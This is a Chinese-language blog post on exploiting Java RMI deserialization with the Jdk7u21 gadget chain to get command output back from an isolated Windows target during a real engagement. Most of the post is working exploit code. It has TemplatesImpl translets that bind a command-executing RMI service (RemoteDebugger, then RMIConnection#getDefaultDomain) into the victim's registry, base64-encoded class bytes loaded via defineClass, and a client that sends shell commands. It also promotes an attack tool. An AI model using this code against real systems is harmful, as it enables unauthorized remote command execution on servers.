java反序列之Jdk7u21回显

以前在打RMI反序列化的时候都是用的CC、CB利用链实现报错回显,很好使。

之前在做一次项目的时候发现了目标存在RMI反序列化漏洞,系统为Windows,无DNS不出网。

通过延时探测出只存在Jdk7u21利用链。

RMI回显

打目标时依然尝试使用老方法回显,Jdk7u21 + 报错回显,发现一直没回显。平时自己Jdk7u21利用链用得比较少,大概了解Jdk7u21最后的利用也是通过Templatesimpl#newTransformer方法实现代码执行,只能去看代码分析下失败的原因。

Jdk7u21利用链也是利用的AnnotationInvocationHandler动态代理,通过HashSet触发到代理handler的equal方法,最终到

sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

可以发现在在invoke反射调用templatesimpl#newTransformer方法时,捕获了异常。当捕获InvocationTargetException异常时返回了false,捕获IllegalAccessException异常时,继续向上抛了异常。

在反射过程中,反射所调用的方法中出现未被捕获的异常时,就会抛出InvocationTargetException异常,所以这里通过templatesimpl执行任意代码抛出任意异常(包括IllegalAccessException)回显,只能进入return false的分支,最终无法实现异常回显。

搞清楚了无法通过异常回显的原因后,接着就开始寻思其他的解决方案,首先能想到的就是参考weblogic的T3/IIOP回显,绑定一个服务到registry上。

在T3回显中,服务类实现了ClusterMasterRemote接口再绑定到registry,不过ClusterMasterRemote是Weblogic中自带的类不适用我们的场景。

这时候去得去jdk里找一个继承了java.rmi.Remote的接口,为了比较简单的传递命令和返回命令结果,参数类型和返回类型都为String方便一点。

翻了一会,只找到了一个符合要求的接口,sun.jvm.hotspot.debugger.remote.RemoteDebugger。

public interface RemoteDebugger extends Remote {
...........
        String consoleExecuteCommand(String var1) throws RemoteException;
}

然后定义一个类实现这个接口,最后暴露实现类最后绑定到registry,本地直接绑定成功。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.jvm.hotspot.debugger.MachineDescription;
import sun.jvm.hotspot.debugger.ReadResult;
import sun.jvm.hotspot.debugger.remote.RemoteDebugger;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIBindService2 extends AbstractTranslet implements RemoteDebugger {

    public RMIBindService2() throws RemoteException {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
            UnicastRemoteObject.exportObject(this, 0);
            registry.rebind("hhhh", this);
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public String getOS() throws RemoteException {
        return null;
    }

    @Override
    public String getCPU() throws RemoteException {
        return null;
    }

    @Override
    public MachineDescription getMachineDescription() throws RemoteException {
        return null;
    }

    @Override
    public long lookupInProcess(String s, String s1) throws RemoteException {
        return 0;
    }

    @Override
    public ReadResult readBytesFromProcess(long l, long l1) throws RemoteException {
        return null;
    }

    @Override
    public boolean hasConsole() throws RemoteException {
        return false;
    }

    @Override
    public String getConsolePrompt() throws RemoteException {
        return null;
    }

    @Override
    public String consoleExecuteCommand(String command) throws RemoteException {
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }

        String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c",  command};
        java.io.InputStream in = null;
        try {
            in = Runtime.getRuntime().exec(cmds).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
        java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
        String output = s.next();
        return output;
    }

    @Override
    public long getJBooleanSize() throws RemoteException {
        return 0;
    }

    @Override
    public long getJByteSize() throws RemoteException {
        return 0;
    }

    @Override
    public long getJCharSize() throws RemoteException {
        return 0;
    }

    @Override
    public long getJDoubleSize() throws RemoteException {
        return 0;
    }

    @Override
    public long getJFloatSize() throws RemoteException {
        return 0;
    }

    @Override
    public long getJIntSize() throws RemoteException {
        return 0;
    }

    @Override
    public long getJLongSize() throws RemoteException {
        return 0;
    }

    @Override
    public long getJShortSize() throws RemoteException {
        return 0;
    }

    @Override
    public long getHeapOopSize() throws RemoteException {
        return 0;
    }

    @Override
    public long getNarrowOopBase() throws RemoteException {
        return 0;
    }

    @Override
    public int getNarrowOopShift() throws RemoteException {
        return 0;
    }

    @Override
    public long getKlassPtrSize() throws RemoteException {
        return 0;
    }

    @Override
    public long getNarrowKlassBase() throws RemoteException {
        return 0;
    }

    @Override
    public int getNarrowKlassShift() throws RemoteException {
        return 0;
    }

    @Override
    public boolean areThreadsEqual(long l, boolean b, long l1, boolean b1) throws RemoteException {
        return false;
    }

    @Override
    public int getThreadHashCode(long l, boolean b) throws RemoteException {
        return 0;
    }

    @Override
    public long[] getThreadIntegerRegisterSet(long l, boolean b) throws RemoteException {
        return new long[0];
    }
}

但是在打目标时却失败了,隐约能感觉出是因为目标环境中RemoteDebugger的问题。

    try {
Class.forName("sun.jvm.hotspot.debugger.remote.RemoteDebugger");
    } catch (ClassNotFoundException e) {
        Thread.currentThread().sleep(10000L);
    }

用sleep验证了下,发现目标RemoteDebuggerg还真有问题。

为了解决这个问题,直接分别defineClass生成三个类,继承Remote的接口、实现类、触发绑定registry方法的类,用这方法打目标倒是成功了。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class RMIBind extends AbstractTranslet {

    public RMIBind() throws Exception {

        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
        method.setAccessible(true);

        byte[] bytesImpl = Base64.decode("yv66vgAAADEADgcACgcACwcADAEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMHAA0BAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEBAAxCaW5kRXhlY0ltcGwBABBqYXZhL2xhbmcvT2JqZWN0AQAPamF2YS9ybWkvUmVtb3RlAQATamF2YS9pby9JT0V4Y2VwdGlvbgYAAAEAAgABAAMAAAABBAEABAAFAAEABgAAAAQAAQAHAAEACAAAAAIACQ==");
        byte[] bytesService = Base64.decode("yv66vgAAADEAUAoAFQAjCAAkCgAlACYKAAcAJwgAKAoABwApBwAqCAArCAAsCAAtCAAuCgAvADAKAC8AMQoAMgAzBwA0CgAPADUIADYKAA8ANwoADwA4BwA5BwA6BwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMHAD4BAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEMABkAGgEAB29zLm5hbWUHAD8MAEAAHgwAQQBCAQADd2luDABDAEQBABBqYXZhL2xhbmcvU3RyaW5nAQACc2gBAAItYwEAB2NtZC5leGUBAAIvYwcARQwARgBHDAAdAEgHAEkMAEoASwEAEWphdmEvdXRpbC9TY2FubmVyDAAZAEwBAAJcYQwATQBODABPAEIBAAtCaW5kRXhlY09iagEAEGphdmEvbGFuZy9PYmplY3QBAA9qYXZhL3JtaS9SZW1vdGUBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEADEJpbmRFeGVjSW1wbAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAAgABQAFQADABYAFwAYAAAAAgAAABkAGgABABsAAAAdAAEAAQAAAAUqtwABsQAAAAEAHAAAAAYAAQAAAA0AAQAdAB4AAgAbAAAApgAEAAgAAABuBD0SArgAA04txgARLbYABBIFtgAGmQAFAz0cmQAYBr0AB1kDEghTWQQSCVNZBStTpwAVBr0AB1kDEgpTWQQSC1NZBStTOgS4AAwZBLYADbYADjoFuwAPWRkFtwAQEhG2ABI6BhkGtgATOgcZB7AAAAABABwAAAAmAAkAAAAQAAIAEQAIABIAGAATABoAFgBHABcAVAAYAGQAGQBrABoAHwAAAAQAAQAgAAEAIQAAAAIAIg==");
        byte[] bytesTrigger = Base64.decode("yv66vgAAADEAKAoACgASCAATCgAUABUHABYKAAQAEgoAFwAYCwAZABoHABsHABwHAB0BAAY8aW5pdD4BABYoTGphdmEvbGFuZy9TdHJpbmc7SSlWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEMAAsAHgEACTEyNy4wLjAuMQcAHwwAIAAhAQALQmluZEV4ZWNPYmoHACIMACMAJAcAJQwAJgAnAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEnRyaWdnZXJCaW5kRXhlY09iagEAEGphdmEvbGFuZy9PYmplY3QBAAMoKVYBACBqYXZhL3JtaS9yZWdpc3RyeS9Mb2NhdGVSZWdpc3RyeQEAC2dldFJlZ2lzdHJ5AQAxKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvcm1pL3JlZ2lzdHJ5L1JlZ2lzdHJ5OwEAI2phdmEvcm1pL3NlcnZlci9VbmljYXN0UmVtb3RlT2JqZWN0AQAMZXhwb3J0T2JqZWN0AQAlKExqYXZhL3JtaS9SZW1vdGU7SSlMamF2YS9ybWkvUmVtb3RlOwEAGmphdmEvcm1pL3JlZ2lzdHJ5L1JlZ2lzdHJ5AQAGcmViaW5kAQAmKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3JtaS9SZW1vdGU7KVYAIQAJAAoAAAAAAAEAAQALAAwAAgANAAAAZgADAAYAAAAqKrcAARICHLgAA067AARZtwAFOgQZBAO4AAZXLSsZBLkABwMApwAFOgWxAAEAGwAkACcACAABAA4AAAAiAAgAAAAgAAQAIgALACMAFAAkABsAJgAkACkAJwAnACkAKwAPAAAABAABAAgAAQAQAAAAAgAR");

        Class cService = null;
        Class cImpl = null;
        Class cTrigger = null;

        try{
            cImpl = cl.loadClass("BindExecImpl");
        }catch(Exception e){
            cImpl = (Class)method.invoke(cl, bytesImpl, 0, bytesImpl.length);
        }


        try{
            cService = cl.loadClass("BindExecObj");
        }catch(Exception e){
            cService = (Class)method.invoke(cl, bytesService, 0, bytesService.length);
        }

        try{
            cTrigger = cl.loadClass("triggerBindExecObj");
        }catch(Exception e){
            cTrigger = (Class)method.invoke(cl, bytesTrigger, 0, bytesTrigger.length);
        }

        try {
            Constructor ct = cTrigger.getDeclaredConstructor(new Class[]{String.class, int.class});
            ct.newInstance(new Object[]{"scl1ent-scheduler-Administrator", 1099});
        }catch(Exception e){
            System.out.println(e);
        }

    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

项目结束后,感觉这方法略微麻烦,得优化一下。

RemoteDebugger来源于JAVA_HOME/lib/sa-jdi.jar,

java反序列之Jdk7u21回显

本地idea运行的时候自动把JAVA_HOME/lib下的所有jar包加入到了classpath中,然而在默认的配置中sa-jdi不会在classpath中,也不会被JVM默认加载,导致了目标无法使用。

那么只要从rt.jar里找一个其他的接口就能解决这个问题了,双String只找到了RemoteDebugger,那么就降低标准,现在只要找到其中一个是String的就行。

package javax.management.remote.rmi;

public interface RMIConnection extends Closeable, Remote {
.....................................
    public String getDefaultDomain(Subject delegationSubject)
        throws IOException;
.....................................
}

getDefaultDomain方法参数类型不是String,返回类型是String。

参数类型是javax.security.auth.Subject类,只要Subject类中存在一个String类型的属性用它来传递命令即可。

Set<Principal> principals;
transient Set<Object> pubCredentials;
transient Set<Object> privCredentials;

虽然不存在直接的String属性,不过也影响不大。pubCredentials、privCredentials属性被transient关键字修饰,无法被序列化,那么只能用principals属性。

principals属性是Principal接口对象的集合,

package com.sun.security.auth;
public class UnixPrincipal implements Principal, java.io.Serializable {
    private static final long serialVersionUID = -2951667807323493631L;

    /**
     * @serial
     */
    private String name;
    
        public UnixPrincipal(String name) {
        if (name == null) {
            java.text.MessageFormat form = new java.text.MessageFormat
                (sun.security.util.ResourcesMgr.getString
                        ("invalid.null.input.value",
                        "sun.security.util.AuthResources"));
            Object[] source = {"name"};
            throw new NullPointerException(form.format(source));
        }

        this.name = name;
    }
    
}

UnixPrincipal实现了Principal接口,并且存在String属性name,直接通过构造方法设置即可。

最后利用

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javax.management.*;
import javax.management.remote.NotificationResult;
import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.io.IOException;
import java.rmi.MarshalledObject;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.security.Principal;
import java.util.Set;

public class RMIBindService extends AbstractTranslet implements RMIConnection {

    public RMIBindService() throws RemoteException {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
            UnicastRemoteObject.exportObject(this, 0);
            registry.rebind("MonitorService", this);
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public String getConnectionId() throws IOException {
        return null;
    }

    @Override
    public void close() throws IOException {

    }

    @Override
    public ObjectInstance createMBean(String className, ObjectName name, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, IOException {
        return null;
    }

    @Override
    public ObjectInstance createMBean(String className, ObjectName name, ObjectName loaderName, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, InstanceNotFoundException, IOException {
        return null;
    }

    @Override
    public ObjectInstance createMBean(String className, ObjectName name, MarshalledObject params, String[] signature, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, IOException {
        return null;
    }

    @Override
    public ObjectInstance createMBean(String className, ObjectName name, ObjectName loaderName, MarshalledObject params, String[] signature, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, InstanceNotFoundException, IOException {
        return null;
    }

    @Override
    public void unregisterMBean(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, MBeanRegistrationException, IOException {

    }

    @Override
    public ObjectInstance getObjectInstance(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, IOException {
        return null;
    }

    @Override
    public Set<ObjectInstance> queryMBeans(ObjectName name, MarshalledObject query, Subject delegationSubject) throws IOException {
        return null;
    }

    @Override
    public Set<ObjectName> queryNames(ObjectName name, MarshalledObject query, Subject delegationSubject) throws IOException {
        return null;
    }

    @Override
    public boolean isRegistered(ObjectName name, Subject delegationSubject) throws IOException {
        return false;
    }

    @Override
    public Integer getMBeanCount(Subject delegationSubject) throws IOException {
        return null;
    }

    @Override
    public Object getAttribute(ObjectName name, String attribute, Subject delegationSubject) throws MBeanException, AttributeNotFoundException, InstanceNotFoundException, ReflectionException, IOException {
        return null;
    }

    @Override
    public AttributeList getAttributes(ObjectName name, String[] attributes, Subject delegationSubject) throws InstanceNotFoundException, ReflectionException, IOException {
        return null;
    }

    @Override
    public void setAttribute(ObjectName name, MarshalledObject attribute, Subject delegationSubject) throws InstanceNotFoundException, AttributeNotFoundException, InvalidAttributeValueException, MBeanException, ReflectionException, IOException {

    }

    @Override
    public AttributeList setAttributes(ObjectName name, MarshalledObject attributes, Subject delegationSubject) throws InstanceNotFoundException, ReflectionException, IOException {
        return null;
    }

    @Override
    public Object invoke(ObjectName name, String operationName, MarshalledObject params, String[] signature, Subject delegationSubject) throws InstanceNotFoundException, MBeanException, ReflectionException, IOException {
        return null;
    }

    @Override
    public String getDefaultDomain(Subject delegationSubject) throws IOException {

        Set<Principal> p = delegationSubject.getPrincipals();
        String command =  p.iterator().next().getName();
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }

        String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c",  command};
        java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
        String output = s.next();
        return output;
    }

    @Override
    public String[] getDomains(Subject delegationSubject) throws IOException {
        return new String[0];
    }

    @Override
    public MBeanInfo getMBeanInfo(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException {
        return null;
    }

    @Override
    public boolean isInstanceOf(ObjectName name, String className, Subject delegationSubject) throws InstanceNotFoundException, IOException {
        return false;
    }

    @Override
    public void addNotificationListener(ObjectName name, ObjectName listener, MarshalledObject filter, MarshalledObject handback, Subject delegationSubject) throws InstanceNotFoundException, IOException {

    }

    @Override
    public void removeNotificationListener(ObjectName name, ObjectName listener, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

    }

    @Override
    public void removeNotificationListener(ObjectName name, ObjectName listener, MarshalledObject filter, MarshalledObject handback, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

    }

    @Override
    public Integer[] addNotificationListeners(ObjectName[] names, MarshalledObject[] filters, Subject[] delegationSubjects) throws InstanceNotFoundException, IOException {
        return new Integer[0];
    }

    @Override
    public void removeNotificationListeners(ObjectName name, Integer[] listenerIDs, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

    }

    @Override
    public NotificationResult fetchNotifications(long clientSequenceNumber, int maxNotifications, long timeout) throws IOException {
        return null;
    }
}

通过Jdk7u21利用链执行以上代码,当然所有能够执行代码的Gadget都能通过这种方式回显。

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
            UnicastRemoteObject.exportObject(this, 0);

这里需要注意一下,ip填写127.0.0.1不填写公网ip。

registry限制只能localhost bind,这里相当于在目标机器执行代码往它自己registry中绑定,1099就填写正确的rmi registry端口即可。

使用exportObject暴露服务时,如果目标不存在安全组等其他策略填0即可,为0时会在一个随机端口暴露。如果存在安全策略,那么可以尝试绑定到80,443等常见端口上,能够访问的几率更大一点。

java反序列之Jdk7u21回显

最后调用远程方法实现回显。

import com.sun.security.auth.LdapPrincipal;
import com.sun.security.auth.UnixPrincipal;
import sun.jvm.hotspot.debugger.remote.RemoteDebugger;

import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashSet;
import java.util.Set;

public class RMIClient {
    public static void main(String[] args) throws Exception {

        String command = "id";
        Registry registry = LocateRegistry.getRegistry("ip",port);

        //        for(String x:registry.list()){
        //            System.out.println(x);
        //        }

        Subject subject = new Subject();
        Field f = subject.getClass().getDeclaredField("principals");
        f.setAccessible(true);
        Set set = new HashSet();
        UnixPrincipal unixPrincipal = new UnixPrincipal(command);
        set.add(unixPrincipal);
        f.set(subject, set);

        System.out.println(((RMIConnection)registry.lookup("MonitorService")).getDefaultDomain(subject));

    }
}

java反序列之Jdk7u21回显

利用工具

GitHub - A-D-Team/attackRmi

利用lookup registry触发的反序列,比起bind能多打一些版本,无需出网无需落地文件。

目前只支持了CommonsCollections、CommonsBeanutils、Jdk7u21利用链,后续再更新利用链和看看是否要支持绕JEP290的那些方法。

众所周知,RMI服务客户端服务端可以双向攻击,为了解决这个问题,工具里没有依赖CommonsCollections、CommoneBeanutils包,把一些核心类给抽取了出来并且改了一些反序列化所需要的方法。

上一篇:java中的抽象工厂模式


下一篇:Photoshop创意合成手拿老照片旧地重游的图片效果